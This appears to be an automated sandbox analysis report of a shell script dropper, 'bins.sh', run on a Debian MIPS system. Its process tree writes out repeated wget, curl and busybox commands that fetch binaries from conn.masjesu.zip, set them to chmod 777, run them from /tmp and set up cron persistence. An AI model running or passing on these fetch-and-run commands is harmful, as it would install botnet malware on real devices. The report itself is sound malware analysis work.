Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 15:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a579e56d9a20f93db40475d2a8bed2c6

  • SHA1

    b46cee5741078e6567928a5c67b29b1298e4185e

  • SHA256

    82a3ceb536f9175fc8090870ecffbff10bbdd5a2a5b4ab2133d41582af010235

  • SHA512

    0e783fb95de6a9bdf9e2b969d6d4fa0d800fa293c63a6bedd8214d270834fd4649ee00c2d3cb7db515b17b2e88386c68295a49b4f36679a49d3857f6de016334

  • SSDEEP

    192:U/Z/t/Iz/zUV8bhqOdBC7j8aSeX/IolEGk/Z/t/Iz/z/bUSeX/IoKdBC7jJ:URlkwVoqOdBC7j8aSevIolKRlk8SevIs

Malware Config

Signatures

  • Contacts a large (1511) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            ./RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • Executes dropped EXE
            PID:765
          • /bin/rm
            rm RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
              PID:769
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:770
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:800
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:802
            • /bin/chmod
              chmod 777 lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              ./lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:822
              • /bin/chmod
                chmod 777 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • File and Directory Permissions Modification
                PID:827
              • /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                ./2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Executes dropped EXE
                PID:828
              • /bin/rm
                rm 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                  PID:831
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:833
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:846
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:851
                • /bin/chmod
                  chmod 777 xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:852
                • /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  ./xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • Executes dropped EXE
                  PID:853
                • /bin/rm
                  rm xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                    PID:855
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:857
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:859
                  • /bin/chmod
                    chmod 777 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:860
                  • /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    ./3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • Executes dropped EXE
                    PID:861
                  • /bin/rm
                    rm 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:865
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /bin/chmod
                      chmod 777 j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • File and Directory Permissions Modification
                      PID:868
                    • /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      ./j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • Executes dropped EXE
                      PID:869
                    • /bin/rm
                      rm j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                        PID:871
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:872
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:873
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:875
                      • /bin/chmod
                        chmod 777 tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • File and Directory Permissions Modification
                        PID:876
                      • /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        ./tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • Executes dropped EXE
                        PID:877
                      • /bin/rm
                        rm tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                          PID:879
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:880
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:884
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:886
                        • /bin/chmod
                          chmod 777 fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • File and Directory Permissions Modification
                          PID:887
                        • /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          ./fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:888
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:890
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:891
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:892
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:893
                              • /bin/rm
                                rm fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                                2⤵
                                  PID:895
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:898

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /var/spool/cron/crontabs/tmp.xhNDdQ

                                Filesize

                                210B

                                MD5

                                79b6505b175e963d6274749f980db077

                                SHA1

                                8956f4a59e48ae8880cc03d6e22a67f98719fcfe

                                SHA256

                                31e3600fbf919cdd6a05f31d48a6abe3e2d2f09f1ea8b651b885f9912d3b80fd

                                SHA512

                                e987b5423b7cb06a0ffc76db9cf6e833d363562db1722694976688dff3526a72c600ae1bd2a1f587e2dafc7b506f686114056d90dfaf37cfa0b66ce647094801